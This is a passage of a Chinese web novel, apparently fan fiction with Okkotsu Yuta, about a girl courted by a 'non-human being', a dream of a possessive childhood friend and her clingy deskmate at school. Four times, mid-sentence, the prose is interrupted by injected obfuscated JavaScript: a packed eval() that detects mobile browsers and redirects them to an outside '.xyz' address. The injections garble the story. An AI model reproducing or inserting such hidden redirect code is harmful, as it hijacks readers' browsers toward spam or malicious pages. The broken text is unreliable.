刚泡完澡,她的皮肤还有点红,膝盖附近的浅淡红晕尤其明显,只是,在膝盖的后方、腿弯处,还有着更明显的红痕。 那是几道像是柳枝抽打留下的极细红痕,薄叶千春是在泡澡时发现的,她多少能推测出一点红痕的由来:大概在不久之前,‘非人存在’用爪子抱过她。 和牙印一样,都是非人留下的、约摸可以称之为‘好感’的痕迹。 毕竟没好感,就不只是浅淡的牙印和红痕了,是手和腿会不会被一口吞掉的问题…… 经过热水的浸泡,腿弯处的红痕肿了点,用指腹能摸出长条的痕迹,只是不太方便用眼睛看,薄叶千春干脆向阳台走去。 因为她打算有空时把衣服挂到空旷阳台、挨个挑选搭配外出游玩的衣物,所以在客厅和阳台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647640|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的位置放了一面镜子。 镜子约有人高。 在镜子面前坐下后,薄叶千春能清楚地看见自己的脸:头发还是湿漉漉的,脖颈、肩膀上垂了些摇摇欲坠的水珠,唇是偏红一点的粉,以往不太明显的唇珠现在是显着的,墨绿色的眼睛里酝着些水色,眼睑和面颊都浮着层浅浅的红晕,看起来很像是漫画中由斜线排出的羞涩表情。 换而言之:眉目含情。 再直接点:含情。 她用食指压了压下唇,感到了点热意,又张口,抬起舌头,尝试着观察有点隐痛的舌根。 镜子里,红色的唇里是莹润的齿白和更深的红色,舌根的颜色却偏浅些,在舌尖向上卷起贴住上颚时,白色的舌系带在轻颤,虽然看起来并没有断,但随着抬舌的动作,隐隐作痛的感觉反而更明显。 那里又是自己舔不到的位置。 尝试转动舌尖,但发现毫无作用、根本舔不到后,薄叶千春叹气,趴在椅子背上,懒洋洋地查看消息。 短短片刻,同桌又回复了一大串的消息。 有的是在说自己很想念千春,有的是仍在担忧薄叶千春的身体、想要来探病,还有的是在扮可怜,问明明以前都在一起,这次却不让她来探病、是不是有新朋友了。 [没有啦。] 薄叶千春回答的是真话:无论怎么看,她和‘非人存在’都不是朋友吧? 她还没有摸清楚‘非人存在’的性格呢,那家伙简直是两级反转,在见面的时候对她…… 但在社交软件上倒是冷淡,一直已读不回,实在让人捉摸不透。 她站起来,往阳台那边走了几步,推开阳台的玻璃门,让外面的风吹进来透透气,手则摁向语音键,随口道:“还要我再保证一遍吗?没有哦,我只有你一个朋友。” 因为保证了太多遍,在再次保证时,薄叶千春是有些无奈的,不止语气带上了笑意,她也露出了笑容,左侧那颗有点尖的虎牙露出一点,点缀在红色的唇上,使这个笑看起来相当可爱真诚。 笑容倒映在阳台的透明门窗上,在一片黑色的打底中,显得越发明亮。 风从外面低低吹来,卷向薄叶千春的脚踝,让她有点冷,她不是很在意地把门又关上些,而后倚在门边,看外面不均匀的黑色夜景,“你是我唯一的朋友嘛。” 夜风还是有点冷。 她换只手拿手机,用右手摸了摸突然泛起一点颗粒的手臂,继续哄朋友:“不想让你来探病只是因为现在太晚了,你过来,我会担心、很担心你的。” “反正我们明天就要见面,不用着急这一晚啦。” 撒娇时,她会使用比往常更多的语气词。 这招有奇效。 只有文字时,同桌还会忽略薄叶千春一些明确的回答,反复问可不可以去找她,但听到带着笑意的语音后,立刻举手投降,后退一步,说明天早上再来找她一起上学。 哄好了。 薄叶千春不动声色地舒出一口气,答应:“好欸。” 9. 09 「22.」 薄叶千春在做梦。 梦中,她似乎正和人一起团在病床上,身体虚弱而疲倦,一侧的肩头有些沉重,她若有所觉地侧首,看到一张近在咫尺的面孔。 那张属于女孩子的面孔有些模糊不清,上半张脸仿佛被迷雾笼罩,下巴有些尖、显得小巧玲珑,唇在上扬着,唇下的一点浅痣随着笑意而越加明显。 医院惯常的气味中,有很淡的清甜香味传来,是桃子味。 似乎是注意到薄叶千春的侧目,女孩子也侧首看来,轻轻地把面颊贴过来。 这个年纪的女孩子,按理而言面颊上应该有几分婴儿肥。 只是,薄叶千春本来就偏孱弱,唯有在笑起的时候、面颊上才能嘟起一点弧形的轮廓,没什么婴儿肥。 她发现那位女孩子的面颊上竟然也没什么婴儿肥,似乎身体也不太好,对方贴过来时,除了柔嫩的、仿佛玉一般的皮肤触感,她还能感觉到一点骨头的存在感。 有点凉。 薄叶千春后知后觉地意识到她为什么感觉肩膀有点沉重:唇下有痣的女孩子正从侧后方抱着她,半环住她的同时,也将下巴压在她的肩头让。 而且抱得很紧。 有点像是蛇类在不动声色地估量和自己体型差不多的猎物。 但‘蛇’的声音却很轻,柔柔的:“怎么样,不凉了吧?” 她伸手,轻轻握住薄叶千春的手,明明语气很温柔,可或许是因为那颗浅淡的痣、又或许是因为唇角上扬的弧度,带着点违和感,令人有几分畏惧,“薄叶每天都要输液,真的好辛苦。” 薄叶千春顺着那只手看下去,看到了自己手背上的留置针。 一根长长的、透明的管子从上方蔓延到留置针内,正在给她输送药液。 在透明软管和留置针的相接处附近,还有着一只手在,是属于人类男性的手,因为手主人很年幼、还没到成长的发育期,手型看起来和同龄的女孩子差不多大。 手的掌心包裹着软管,在不影响软管内液体流通的情况下、默默用体温温热药液。 顺着那只手看上去,薄叶千春这才发现还有一个孩子坐在自己的另一侧,他半转头看过来,因为上半张脸也是模糊的,所以看不清具体表情,但能从姿势和唇角看出他处于放松状态。 他应该性格偏腼腆些,没有说话,只静静地看着她们。 薄叶千春刚匆匆打量完,就察觉到轻握着自己的那只女孩子的手微转,从她的指间穿过去、和她相扣,对方像是刚发现了什么,有些惊讶:“薄叶涂了指甲油吗?” “怎么没有涂完?” 薄叶千春再次垂下视线,看向自己的手:指甲圆润,没有特意留长,整体是正常的淡粉色,不正常是上面镀着一层透明的护甲油,在灯光下闪闪发光,显得格外晶莹。 不过,只有四根手指上有护甲油,小指和另一只手的指甲都没有涂抹任何东西。 “妈咪有事,”她听到自己低低的声音,“没来得及涂完。” “这样呀,”女孩子又用脸颊蹭了蹭薄叶千春,用一种过分轻快的语气问,“那我们帮你涂吧?” “我那里有很多颜色的指甲油,涂起来很好看,让我想一想,嗯……薄叶的话,涂蜜桃色一定很漂亮。” “而且,蜜桃色和指甲原本的颜色接近,只要不认真观察,大人是不会发现的呦?” 她说的没错。 涂上指甲油后,薄叶千春的指甲很好看。 女孩子并不是只涂一层,她握着薄叶千春的手,像在玩页游的化妆小游戏,兴致勃勃地在尾指的指甲处涂上一层又一层的粉色指甲油,涂出了一种渐变的粉色。 在最上层封了一层护甲油后,指甲看起来几乎闪闪发光,像是半块水蜜桃果肉,令人有一种闻起来会很香的错觉。 大概正因这种错觉,女孩子低头嗅了嗅,用鼻尖轻轻触碰薄叶千春的指尖。 很轻的呼吸气流如潮水般漫过手掌,薄叶千春看到她抬首露出灿烂的笑容,“好啦,果然很漂亮。” “薄叶应该知道‘盖章’吧?一天只涂一个指甲的话,就像是在盖章一样,我们来玩这个游戏吧。如果你的妈妈明天没来看你、明天我们会各自再为你涂一个指甲,如果她后天还没来看你、后天我们也会再各自为你涂一个指甲。” 薄叶千春眨了眨眼睛,视线落在对方扬起的唇角上。 对方歪了歪头,在视线中笑意愈盛,又叫了一个名字,“**。” 那名男孩子向前探了探身体。 女孩子掰着薄叶千春的手指算:“你现在有六个没有涂指甲油的指甲,所以妈妈需要三天不来看你……如果你想把被妈妈涂过的指甲再交给我涂,要先卸掉护甲油、再重新涂,需要两天才能重新涂好一个。” “怎么样?” 她笑眯眯地说:“薄叶能做到‘让妈妈一有空就赶来医院看你’,一定也能做到‘让妈妈最近不来打扰我们’吧?” 咦。 这种语气,是正常小孩子的语气吗? 薄叶千春眨了眨眼睛,看了看亮晶晶的指甲,看了看那名男孩子握紧了些的手,又看了看随着女孩子绽放笑颜、而更加明显的浅淡唇下痣,有些困惑地抿起唇。 “我有点怕你的爸爸妈妈,”女孩子用轻柔的语气说,似乎是想表达一些抱怨、却因笑意太多而显得心情很好,“你之前本能缠爸爸妈妈太紧了嘛,他们看到你有朋友、而且把原本给他们的注意力渐渐分散给我们,可是很不高兴的,之前还悄悄瞪过我呢!” 说着,她求证般歪头,看向男孩子,“对吧,**?” 那名男孩子明显迟疑一下,慢慢点头,发出一声很低、很低的应声,“嗯。” 女孩子立刻撒娇:“薄叶,好不好嘛。” 话好多,一段一段的。 在有点飘忽的梦中,薄叶千春理解得有些费力,她蹙起眉头,还在努力地理解那些微妙之处,就察觉到自己张口,应下:“好欸?” 「23.」 “好欸?” 这句应声仿佛是某种信号。 薄叶千春的眼前渐渐亮起,医院、水蜜桃果肉般的指甲油和两个小孩子都如烟雾般散去。 在缓慢转醒的中,梦中的一切都在迅速褪去,以人类来不及抓住的速度,再次淡化至记忆的边角。 她有些疲倦和困顿地睁开眼睛,在枕头上侧了侧脸,想打开手机看看时间,却在手机亮屏的一瞬间,被屏幕上的提示吸引了注意力:‘非人存在’发来了新消息。 在凌晨四点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647641|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在的时间则是早上七点。 薄叶千春立刻点进聊天框,旋即,在满屏的回复中怔住: 00:31:12 [对不起] 00:57:32 [该消息已删除] 01:26:42 [我在] 01:35:14 [不会] 01:59:01 [对不起] 02:17:05 [该消息已删除] …… [该消息已删除] …… [该消息已删除] …… 04:51:29 [我们是朋友。] 薄叶千春:“……” 欸、欸? 她眨了眨眼睛,看了看最后一条消息的发送时间,又默默往上划,划了会儿,从一大堆的消息删除提示中找到第一条消息,再次看了看发送时间,确定:第一条消息是零点左右,最后一条消息是近五点。 一条又一条的消息,交替着贯穿了这两个时间点。 也就是说:近五个小时,‘非人存在’都在回复她。 当然,从时间间隔来看,大概是抽空回复她的,但饶是如此,也有那么一点点的微妙。 尤其是[该消息已被删除]提示几乎在刷屏的情况下。 显得对方好像反复组织措辞,组织了大半天终于摁下发送键,却又反悔,删除消息重新组织语言一样…… 这种行为,一般是比较社恐的人,才会干出来的吧? 但‘非人存在’可不是人类,也一点不社恐,热情得薄叶千春都吃不太下…… 大概只是错觉。 ‘非人存在’身上比较矛盾的‘错觉’,好像有点多。 薄叶千春划着消息记录,眉头轻蹙,先暂时忽略大概率是错觉的点,重新认真地从第一条消息开始看。 看了两遍,她确认:‘非人存在’是在回她之前发过去的众多消息。 [对不起]是回薄叶千春说自己的腰被握得很痛,[我在]则是回薄叶千春问它在不在,[不会],则大概率是在回[你是打算吃掉我吗?]。 虽然发出去没多久,她就撤回了,但对方还是看到了。 这说明对方一直在手机的另一端,一直没回复,却也一直看着。 薄叶千春继续翻看聊天记录,陆续又把几条[对不起]和她发过去的信息、语音对上,停在最后一条消息上: [我们是朋友。] 这条消息…… 说明一件事: 要么,在薄叶千春给同桌发语音时,‘非人存在’就在附近,这条消息是在否定她的[你是我唯一的朋友]。 要么,‘非人存在’可以看到薄叶千春和同桌的聊天记录,这条消息是在否定她的[我没有其他朋友]。 无论哪一种,同桌都好像有点危! 薄叶千春立刻拨打同桌的电话。 “嘟……嘟……嘟……喂?” 在漫长的拨通声中,随着‘咔嚓’的接通声,对面传来同桌的声音,“千春?” 对方的声音一如既往,因开心而带着些笑意,“怎么突然打电话,是想我了吗?” 10. 10 「24.」 好消息:同桌没被‘非人存在’找上门。 坏消息:同桌受伤了。 隔着手机,薄叶千春只能看到一条条黑白分明的文字信息,听到同桌和往常一致的声音,一见面,她才发现同桌的腿受伤了。 对此,同桌的解释是:“因为千春不在,我有点心不在焉,所以上体育课的时候不小心……不过问题不大!” “医生说只是脚扭了一下,很快就会好。” “不要皱眉嘛,千春,你多看看我,我会更不容易受伤喔?” 被抚平眉头的薄叶千春:“……” 听起来有些古怪。 好像同桌会受伤,是因为不满薄叶千春请假、所以故意受伤一样。 但正常人都不会这样。 薄叶千春叹气:“不要说这种话啦。” “真的‘很快就会好’吗?都打石膏了,再怎么样也要一个月才能好吧?还不告诉我,要是早上我有事、你打算怎么上学?” “你之前是怎么上学的?” 一边说,她一边握住同桌为自己抚眉的手,在拿下来时看了两眼,视线微定:同桌的手上涂着指甲油。 是清透的绿色指甲油。 她指甲修长,边缘是圆钝的弧型,指甲油模仿着指甲原本的弧形、渐变出一个小小的浅绿色月牙,上面点缀着些碎钻,使指甲看起来更晶莹。 很好看。 同桌一向喜欢漂亮,无论是漂亮的人,如薄叶千春,还是漂亮的东西,如可爱的发卡,能使人漂亮的化妆品,好看的装饰物等,她都喜欢。 薄叶千春知道这件事,也知道同桌很擅长化妆打扮,经常更换口红的颜色和指甲油的款式,但因为不是很感兴趣,一直没怎么关注过。 现在,或许是因为梦,她第一次关注同桌的指甲,半出神地思考起一个问题:梦中的人,是同桌吗? 醒来之后,梦中的一切便如潮水般褪去,她记得不太清晰,只隐约记得自己和一个差不多同龄的女孩子坐在病床上,以一种过分亲近、亲近到令人有些窒息的姿势,亲密地涂指甲油。 从小到大,她所交的同龄朋友只有同桌。 梦中的人,应该是同桌吧? ……但她们一起涂过指甲油吗? 薄叶千春不记得了,她久久地看着同桌的绿色指甲油,怔了片刻,同桌察觉到,回握住她,轻声道:“但我们现在不是已经到教室了嘛……怎么啦,千春?”” “很漂亮的绿色,对吧?是薄荷绿呦。” “千春也想涂吗?” “我帮你涂吧?”同桌露出笑,眼睛弯起、唇角上扬,下巴白皙又干干净净,咬出的每一个发音,都是全盘交给薄叶千春选择的语气,“我有可撕指甲油,千春试一试,不喜欢的话就撕掉,怎么样?” 不一样。 和梦里那个人说话的语气,好像不一样。 薄叶千春其实也不记得梦中人详细说过什么,她抿了下唇,没有答应、也没有拒绝,只是道:“快上课了。” 「25.」 上课的途中,发生了一件事:有同学迟到。 是乙骨忧太。 他还是之前的样子,明明身形高挑,在同班男性中算是中等偏上的身高,却弯腰低着头,好像很怕别人看他,有种令人不喜的畏畏缩缩感。 起码老师很不喜,不过看了一眼,便沉下脸,不咸不淡地指使乙骨忧太把水桶接满、去走廊上罚站。 乙骨忧太没有异议。 从进门开始,他就始终低着头,任凭老师不喜的视线钉在自己的头顶,也任凭其他同学或不满或好奇或嘲讽的眼神。 哪怕他制服上有不正常的褶皱,看起来像是被关在什么地方、勉强挣扎出来的,他也什么都没有说,什么都没有解释,直接默认老师‘这个学生起晚了,所以才迟到’的判断。 好像无论谁怎么欺负他,他都能沉默着全盘接受。 教室和走廊之间的墙壁上有窗户。 罚站,自然是站在老师可以看到的地方,乙骨忧太选了窗户边角的位置,面对教室而站,他一手提着水桶,仍低着头,有点长的黑色碎发垂下、半挡住他的眼睛。 薄叶千春早已在医院预习过课程,又在思考着奇怪的梦,总有些出神,目光先是落在老师的身上、随他的肢体动作而晃动,后挪向教室一角,盯了会儿空气,不自觉地看向窗外,在蓝天白云间,凝向乙骨忧太。 她的瞳孔有些虚焦,出神中又带着打量的意味。 大约是神情中带着过软的畏缩,加重了不健康感,乙骨忧太虽身材高挑,可看起来身体不太好,他面色很苍白,下巴也瘦得有点尖,眼下却浮着一圈相当明显的暗色,是黑眼圈。 而且不是一日两日形成的黑眼圈,是日积月累,起码熬夜几年才形成的黑眼圈。 和苍白的面色一对比,较宽的青黑色越发明显,整体看来相当憔悴,让人狐疑他是否几天都没有睡,看着看着,薄叶千春便推测出为何老师一句话不问、直接断定乙骨忧太迟到是因为起太晚。 大概,是因为他黑眼圈重得仿佛常常整夜不睡吧……说不定之前也迟过到,理由是起太晚,于是久而久之,老师就连问都不问了。 是这样吗? 薄叶千春本来出神着发散出去的思绪稍微收了收,视线微凝,打量着乙骨忧太制服上的褶皱和蹭上的灰尘,眸光闪了闪。 她自觉自己的打量其实很隐晦。 可没过多久就发现,随着自己的打量,乙骨忧太好像紧张了起来。 他绷紧下巴,唇几乎抿成直线,头越发垂下,肩膀耸起,为了躲避视线,整个人几乎要弓起来,提着水桶的指骨也用力到凸出骨痕。 那只水桶约有乙骨忧太的小腿高,在装满水的情况下很重,他是单手提的,本来就提得有点勉强,此时更是摇摇晃晃起来,有些水花摇曳着溅出,将他膝盖部分的裤子也打湿。 他好像毫无所觉,没有换一只手提或两只手提水桶的意思,僵僵地立在原地,像被手电筒照住的青蛙,又有点像使劲蹬腿也无法从老虎口中逃脱的兔子,连头发都僵直了,有点像漆黑的海胆。 那只没有提水桶、背在身后的手,似乎正在用力地攥紧衣物,薄叶千春看到他制服的腰部有不正常的褶皱在向后收缩。 大概是因为那只手在用力,那些褶皱也在扩大,连提着水桶那只手的袖子都在向上收缩,露出了他原本遮挡严实的手腕:过于苍白的肤色,和纵横交错的红痕。 那些红痕有的有些深、有的有些浅,深的大概是出血的程度,浅的则只有淡淡的痕迹。 在手腕这种容易引人误会的地方,第一眼会令人怀疑他是在自己伤害自己,可在定睛看两眼,就能反应过来那些红痕比刀划出的痕迹要宽些,像是她人指甲在慌乱中不停挣扎挠出来的。 咦? 等等。 薄叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647642|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千春眨了眨眼睛,又眨了眨眼睛,彻底回神,眼睛聚焦起来,定定地看了一眼同样察觉到手腕露出、于是慌张把袖子往下捋的乙骨忧太,有些惊讶:原来熬夜不是因为打游戏,而是因为、因为那方面吗? 这个年纪的男性…… 倒、倒也是可以理解…… 但不管怎么样,到‘手腕上都是伤痕’的程度,都还是有些……吧? 很微妙的,薄叶千春收回视线,心里有点说不清道不明的感觉。 有点不适,大概是排斥的发麻感? 她摸了摸自己的手臂,蹙着眉舒出一口气,转眼却对上了同桌的眼睛。 在她打量乙骨忧太时,同桌不知道看了她多久,黑黝黝的眼睛一眨都不眨的,冷不丁一看,带着点鬼气。 “千春……” 同桌问:“你在看谁?” 「26.」 薄叶千春:“……” 有点吓人了。 她缓了两拍,回答:“那位同学是姓乙骨吗?” “他和他女朋友的关系好像很好。” 答非所问,同桌却缓和了脸色,笑起来:“女朋友?” “嗯,”薄叶千春低声说,“我刚刚无聊,把附近的人都观察了一圈,发现他手腕上好像有他女朋友留下的痕迹。” 第一个重点:‘我把附近的人都观察了一遍’。 观察一个人,尤其是同桌莫名防备的人,或许有些令人警惕,但观察很多人,乙骨忧太只是其中之一,就不太令人警惕了。 第二个重点:乙骨忧太有女朋友。 有女朋友的人,应该不会和其他女孩子交往过甚吧?所以同桌不用担心她和乙骨忧太交朋友。 “不过,他居然有女朋友,我有点惊讶,”薄叶千春想了想,又补充,“我以为他看起来那么好欺负,是没有朋友的那类人。” 她用思索的口吻,低声说:“如果没有你的话,我应该也是没有朋友的那类人吧?” 在霓虹,‘没有朋友’是相当严重的指责了,往往意味着‘不合群’和‘怪人’。 “怎么会,”同桌不假思索地反驳,“没有我,千春也一定有朋友的。” 在老师拿着课本路过时,她停顿几息,声音低了下去:“千春想的话,一定会有很多、很多好用的朋友。” 「薄叶一定也能做到‘让妈妈最近不来打扰我们’吧?」 这句于梦中出现,在薄叶千春醒来后,她已经忘记的话,又忽而出现,回荡在她的耳畔,和同桌的声音重叠起来。 两句话中的深意一致。 薄叶千春怔了怔,用墨绿色的眼睛凝望同桌,在同桌看过来时,她低下眼睛,伸手牵住同桌的手。 在同桌惊喜回握时,她用食指轻轻勾了勾那只手的掌心,很轻声地说:“但是,我现在已经有了最好的朋友呀。” 虽然最多过几天,她就切开这段友情,以免‘非人存在’对同桌动手…… 但此刻,在因那句相似的话、心莫名格外柔软时,她说的话是真心的:“我有你呀,不需要其他‘好用’的朋友。” 同桌怔住。 薄叶千春笑起来,正要说话,却若有所觉地向窗户看去,却和不知何时抬头、没什么表情看过来的乙骨忧太对视上。 她也怔了下,又想起对方伤痕累累的伤疤,不由得蹙眉,很快收回视线,对同桌说出刚刚想说的话:“下课帮我涂指甲油,好不好?” 11. 11 「26.」 ‘同桌撒娇,薄叶千春可有可无地默认’和‘薄叶千春主动提议’,是截然不同的。 前者,代表她无所谓,虽然可以让人自我安慰‘千春就是对指甲油没兴趣啦,愿意让我动手,是因为我喔’,但多想的人,也会有那么一点点的‘是只对指甲油无所谓吗?还是,其实对我也有点无所谓,一旦有更好的朋友,就会毫不犹豫地换掉我,对别人露出可爱的笑容呢?’ 后者,以她对不感兴趣实物不会多投一个眼神的性格,是在非常确切的,没有一点误会空间的,散发出‘没错喔,我很在意你’的全然肯定。 同桌怔住。 薄叶千春弯起眼睛,因为在阳光下,绿色的眼睛有些明亮,瞳底偏浅,似薄荷绿、比晶莹的指甲油还要更莹润几分,虹膜却又偏深些,一瞬不瞬地盯着同桌。 在下课铃声响起,老师沿着走廊从教室后方走向门口时,她顺势低下头,用脸颊蹭了蹭同桌的手,问:“好不好?” 因经常握球拍,同桌的掌心有点茧子,蹭起来有点磨砂感。 女性的手不算太大,但手指稍合拢些,就能像勺子一样轻松盛住薄叶千春的侧脸。 这难免让薄叶千春想起另一只手:指骨明显,刚触碰上来时如冷水般凉,没过多久又像被点燃的碳火般烫,属于男性的手。 那只手的掌心其实没有多少茧子,只是男性的手掌本来就偏硬,紧紧揽住薄叶千春的腰时,单薄的衣物就好像忽而消失了,她能清晰地感知到对方手掌的每一寸弧度,也能清晰感知到每次深入时、手掌会越发收紧。 …… 不太妙。 不着痕迹的,薄叶千春蹙了下眉,在同桌收拢手前,稍偏一偏面颊避开,而后坐直,再次笑起来:“不过,我想涂没有颜色的那种指甲油,你有吗?” 同桌合拢已经空空如也的手掌,从怔然中回神,“没有颜色的吗?我、” 突然,她戛然而止。 原本凝在薄叶千春面颊上的视线也微微侧移,越过她的肩膀看向她的身后,仿佛看到了什么,面色微变。 有那么一瞬,那张脸上闪过宛如人类面对天灾般的畏惧感。 不过只有一瞬。 在转瞬即逝后,便是翻涌上来的恼羞成怒。 薄叶千春:“……?” 她的第一反应,是:‘非人存在’出现了? 但没有熟悉的冰冷凝视感。 薄叶千春下意识地半侧过身,顺着同桌刚刚的视线看去,一眼看到的是仍站在走廊上的乙骨忧太。 明明老师离开时在他面前停留了一会儿,大概交代了‘不用再罚站,回去吧’之类的话,但和之前一样,他仍站在走廊上。 不,他的头甚至要比之前还低。 可能是因为随着下课、走廊上开始出现附近班级的学生,他们在路过时,或多或少地会打量几下乙骨忧太,有的还会窃窃私语。 在悄然的打量和低低的窃窃私语声中,乙骨忧太紧紧地低着头,身体在颤抖,不知何时,水桶里大半的水都泼洒而出,彻底溅湿了他的裤子,让他看起来有几分被人关在卫生间里泼水的可怜兮兮。 他的嘴巴在动,很快速地动,仿佛在不停地自言自语着什么。 周围同学看过去的眼神越发怪异,不少人在路过时都会默默地贴着窗户走、选择远离他,仿佛在躲避什么脏东西。 薄叶千春蹙眉。 很轻微的不适从她心间一闪而过,快得她无法分辨不适的真正原因,她的面颊被同桌捧住、转回去,“不要看他啦。” “在走廊上站着都能站出一副畏畏缩缩的样子,也太丢人了吧?就是因为这样,大家才会那么嫌弃他。” “没有颜色的指甲油吗?我有的,”同桌眼都不眨地把话题转回之前,“第一次涂指甲油,千春不打算试试薄荷绿吗?我感觉你会很适合呢。” “在阳光下,你的瞳底就是明亮的薄荷绿色,很漂亮。” 但那只是少数情况下吧?得正午的阳光才行。 在正午阳光的照耀下,部分人的手臂都会白得几近透明,更何况是瞳孔颜色。 不过,薄叶千春不打算反驳,无论是‘第一次涂指甲油’,还是‘同桌似乎总认为她应该喜欢和自己瞳孔颜色一致的绿色’,她从善如流地道:“既然你觉得薄荷绿适合我,那就试试吧。” 「27.」 明亮的、清透的薄荷绿流淌而出,像是晶莹的果冻,由单薄的一层勾勒出指甲的形状。 薄叶千春支着下巴看。 在同桌收回手、去沾指甲油时,她放下支下巴的手,拍了张照,发给‘非人存在’。 出乎意料的,消息没有秒「已读」。 薄叶千春若有所思地眨了眨眼睛,指尖在手机屏幕上轻触几下,发出去文字信息:[涂了指甲油,去很漂亮的薄荷绿呢,你会喜欢吗?] 亲密的,宛如女友独自上街游玩、做了美甲于是拍照发给男友看的撒娇之语的上方,是‘非人存在’半夜发来的一连串消息。 薄叶千春没有回那些消息。 虽然按理而言,被已读不回那么久、终于获得如涨潮般的回复,她应该很开心。 但是,很微妙的,不知该如何去形容的,她觉得有一点怪异,一点大概只能称之为一闪而过的‘那些已经发出的和被删除的消息,好像有点不太符合她对[非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647643|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人存在]印象’的奇怪感。 只有一点。 她不回的主要原因,其实还是:在对人类而言过晚的凌晨,持续近五个小时,发出一片片的消息,发完又删除…… 无论如何,也有点阴阴的吧? 哪怕‘非人存在’不是人类,大概率不是故意的,只是在异类活跃的阴间时间抽空给她发消息…… 可还是有点阴阴的。 直觉般的,薄叶千春不是很想直接回应那些信息: 总感觉无论是‘表达对被回复消息的喜悦,不动声色地鼓励对方多回复消息’的正面回应,还是‘表达对连串莫名删除消息的反感,借机半撒娇半女友式发怒,娇蛮地勒令对方不许删除消息’的负面回应,对方的反应,都会不怎么美妙。 ‘假装没察觉到古怪感,态度包容地任由对方半夜发五个小时的消息、发出消息又撤回,也包容对方下一次更古怪的行为,无论更古怪的行为是指什么’什么的就更不用说了。 还是什么都不回吧。 等它逼问关于‘朋友’的话题,再佯装惊讶地说些‘欸,我已经打算和朋友绝交,只和你做朋友’的话。 薄叶千春斟酌几秒,又编辑出一条消息:[对了,你想如何称呼我呢?] [可以叫我‘千春’喔(笑] 消息的前缀仍是「未读」。 思忖着把玩手机几秒,在同桌眸光屡屡瞥来时,薄叶千春对她笑,“好漂亮,果然应该听你的推荐。” “换一只手吧。” 她直接把手搭在同桌的手掌里,收回来的那只手停了会儿,让指甲油先冷却,而后才又点在屏幕上:[我该如何称呼你呢?] 大多数时候,薄叶千春对它的称呼,都是‘非人存在’,极少数、相当极少数的时候,她会想到‘幽灵君’。 而介于这两种之中,不是很频繁,只偶尔如浮光掠影般出现在她的脑海里,被她有意不采用的称呼,是…… [我可以叫你‘姐姐’吗?] [不知道为什么,偶尔会直觉你是女孩子(笑] 或许一秒,或许两秒,或许三秒,又或许更久。 在某一时刻,「未读」的前缀倏尔变更,显出灰色的「已读」。 但对方没有回复。 聊天框冷凝住。 薄叶千春看着手机,在搭过去的那只手也被涂好指甲油后,她笑着收回手,余光瞥见走廊上的人来人往正常了起来、不再刻意避讳着绕开,于是随意地瞥去一眼,发现不知何时,走廊上只有一只孤零零的水桶。 乙骨忧太走了。 下一秒,她的注意力便被轻轻嗡动的手机引回来。 对方:[可以。] 12. 12 「28.」 薄叶千春:“……” 可、可以? 虽然这么问的是她,但被肯定回复后,感到惊讶的也是她。 或许是因为严格而言,‘非人存在’不是人类,也没什么明确的性别特征,应该不能说是女孩子,不能冠以‘姐姐’的称呼。 或许是因为‘非人存在’控制的那具身体,是人类男性。 又或许是因为虽然不知为何,在以往被阴冷拥入怀中的夜晚里,她竟能从对方阴冷狰狞的身躯上,非常奇异地感受到一些女孩子的纤细和细腻,但在聊天过程中,她反而感觉对方似乎和印象里的‘非人存在’有些出入…… 惊讶之余,一种古怪的别扭感从薄叶千春的心间升起,她蹙眉思忖片刻,趁‘非人存在’还在,试探性地发出一句话:[你理解‘姐姐’的意思吗?] [这是人类对比自己年长几岁的女性的称呼,偶尔会出现在一些撒娇的话语中,一般而言代表着交谈的双方关系很好,是一个很亲昵的称呼呢] [我本来有些担心你不会认同人类的称呼……幸好!(笑] [不过,既然认同人类的称呼,那你有没有人类的姓名呢?] 在编辑最后一条消息时,薄叶千春本来打出了‘姐姐’,但迟疑一会儿,手指悬在发送键上,发现自己根本叫不出口,只能匆匆删掉。 她郁闷地屈指,用指弯抵着唇,直到看到信息一发出去便弹出「已读」,才心情好了些,又顺手发过去一条消息:[你刚刚有事吗?] 问题好像有点多。 没办法,谁让‘非人存在’太过捉摸不定,热情又冷淡,急切又温吞,似乎对她很在意、又好像不是很想和她交流,就连弱点都若有若无。 